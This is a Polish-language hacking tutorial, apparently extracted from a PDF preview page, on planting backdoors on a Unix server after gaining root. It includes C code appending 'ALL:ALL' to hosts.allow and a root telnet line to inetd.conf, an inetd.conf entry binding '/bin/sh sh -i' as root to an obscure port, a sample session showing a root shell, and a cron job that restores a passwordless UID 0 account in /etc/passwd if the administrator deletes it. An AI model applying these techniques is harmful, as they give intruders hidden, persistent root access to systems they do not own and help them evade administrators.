[ Pobierz całość w formacie PDF ]
.allow";seq="\nALL:ALL\n";}if (wish=='4') {trg="/etc/inetd.conf";seq="\ntelnet stream tcp nowait root /usr/sbin/tcpd in.telnetd\n";}plik=fopen(trg,"a");fputs(seq,plik);fclose(plik);}-- CUT HERE --2 Co to sa tylne drzwi : BANAN {poprawione przez lcamtuf'a}Tylne drzwi czy tez tylne wejscie, jest to sposob w jaki mozna dostac sie dosystemu bez koniecznosci logowania sie lub z ominieciem zabezpieczen.Mozna tozrobic instalujac sobie "specjalny" port w telnecie.Sprobuje pokazac parespsobow jak to zrobic i jak zatrzymac te "drzwi" gdy admin sie pokapuje cojest grane :)Co potrzebujesz:Przede wszystkim potrzebujesz roota na na serwerze w ktorym chcesz zrobicbackdoors.Poza tym potrzeba troche szczescia i pomyslowosci :)Jak to sie robi:Na poczatek trzeba przyjrzec sie interesujacym nas plikom odpowiadajacym zakonfiguracje inetu.A oto czego masz szukac:/etc/services Ten plik pozwoli ci znalezc port, na ktorym postawiszbackdoors lub dopisac swoj wlasny./etc/inetd.conf To jest plik w ktorym musisz zainstalowac obsluge swoichbackdoors.W pliku /etc/services znajdziesz cos takiego:tcpmux 1/tcp #TCP Port Service Multiplexertcpmux 1/udp #TCP Port Service Multiplexercompressnet 2/tcp #Management Utilitycompressnet 2/udp #Management Utilitycompressnet 3/tcp #Compression Processcompressnet 3/udp #Compression ProcessPewnie myslisz co to kurwa jest, i po co mi to, postaram sie to wyjasnic natym przykladzie:ftp 21/tcp #File Transfer [Control]ftp 21/udp #File Transfer [Control]Pierwsza kolumna oznacza nazwe serwisu w systemie (tylko w celu pomocniczym,tutaj akurat ftp).Druga to numer portu, na ktorym "stoi" dana usluga(wiec gdy wpiszemy "telnet localhost ftp" to zostaniemy polaczeni z portem21).Zaraz po porcie znajduje sie nazwa protokolu, z reguly interesuje nastcp.Ostatnia kolumna to komentarz, najczesciej opis przeznaczenia.Na razie nie jest ci to potrzebne, ale pozniej sie przyda.Teraz looknij sobie do /etc/inetd.conf.Jest to plik configuracyjny dlademona inetd, ze zdefiniowana jednoznaczna relacja miedzy polaczeniem zz jakims portem i demonem, ktory ma byc uruchomiony.A wyglada on sobie w tensposob:ftp stream tcp nowait root /usr/libexec/tcpd ftpd -l -Atelnet stream tcp nowait root /usr/libexec/tcpd telnetdshell stream tcp nowait root /usr/libexec/tcpd rshdlogin stream tcp nowait root /usr/libexec/tcpd rlogind -aexec stream tcp nowait root /usr/libexec/tcpd rexecdWyjasnienie tych bzdetow:Pierwsza kolumna to nazwa demona lub po prostu numer portu.Jesli wpiszesznazwe - zostanie ona przelozona na numerek na podstawie omowionego wyzejpliku services.Na tym porcie demon bedzie oczekiwal polaczen.Druga kolumnato rodzaj polaczenia, z reguly stream (strumien).Pozniej znowu idzieprotokol, my akurat interesujemy sie tylko ftp.Nastepna kolumna dotyczyoczekiwania, z reguly jest to "nowait".Nastepnie podany jest uzytkownik,z ktorego uprawnieniami zostanie odpalony demon.Najkorzystniej dla nasustawic "root", ale np.httpd (demon www) chodzi jako "nobody".Pozniejz kolei znajduje sie program, ktory obsluzy polaczenie, czyli prawiezawsze tcpd (moze sie tez znajdowac w katalogu /usr/sbin/tcpd, zalezy odsystemu).Na koncu znajduje sie program lub demon, ktory zostanie odpalonyw momencie polaczenia na port i zajmie sie obsluga uzytkownika.3 Instalacja tylnych drzwi : BANANBACKDOORS 1:Dobra, cofnij sie do pliku /etc/services.Popatrz na niego i wybierz jedenz serwisow ktory sadzisz ze admin nie sprawdzi, zapamietaj go sobie.Teraz skocz do pliku /etc/inetd.conf Dopisz w nim to co zapamietalesz /etc/services.Powiedzmy ze zapamietales serwis ftp (to oczywiscie tylkoprzyklad, wybierz cos bardzo egzotycznego).Teraz dodaj do inetd.conf takalinijke: "ftp stream tcp nowait root /bin/sh sh -i".Gdy to zrobisz -sprawdz, czy juz wczesniej nie ma linijki dotyczacej ftp, a jesli jestto ja skasuj.Po tym zabiegu pora zrestartowac calego demona inetd, zeby uaktualnic jegoustawienia.Wpisz "killall -HUP inetd".Teraz przetestujmy co zrobiles (roznie to wyglada, zaleznie od systemu):telnet pechowy.host.com ftpTrying 123.456.78.9.Connected to comp.comEscape character is '^]'.bash#bash# whoamirootbash#Acha, nie korzystaj z portu 21 (ftp) tylko z jakiegos innego, zupelnieegzotycznego portu z konca pliku services.Jesli chcesz mozesz tez dodac tamwlasny wpis w stylu "kfcd 3142/tcp" i go wlasnie uzywac.BACKDOORS 2:Konie trojanskie cron sa dobre gdy admin polapal sie z "dzwiami" a chceszdalej utrzymac roota.Cron jest czasowym demonem, ktory uruchamia inneprogramy w zadanych odstepach czasu.Wpisz w shellu crontab, dowiesz siejak tego uzywac, a pozniej idz do /var/spool/cron/crontabs/root.A oto jak wyglada przykladowy wpis:0 0 * * 1 /usr/bin/updatedbPierwsza kolumna oznacza minuty (0-59), druga godziny (0-23), trzecia dnimiesiaca (1-31), kolejna - miesiace roku (1-12), pozniej dni tygodnia (0-6)i na koncu komenda do wykonania.Przyklad powyzej jest ustawiony na poniedzialek.Jesli chcesz aby co jakisczas sprawdzac, czy root przypadkiem nie usunal twojego konta - dodajodpowiedni wpis do /var/spool/crontab/root.Powiedzmy, ze dodales sobie kontoz UID=0 (rootowe).Cron moze je stale monitorowac, a gdy root je wywali -po pewnym czasie zostanie odtworzone.Jak to zrobic? Powiedzmy zedodales konto "hacker::0:0:hAAAcker:/:/bin/bash" do /etc/passwd.Twoj programmusi sprawdzac, czy ten wpis tam dalej istnieje (moze to zrobic poleceniegrep).A jesli cokolwiek sie zmieni - bedzie dodawal nowy wpis na koncu.Warto tez zabezpieczyc sie przed zmiana hasla
[ Pobierz całość w formacie PDF ]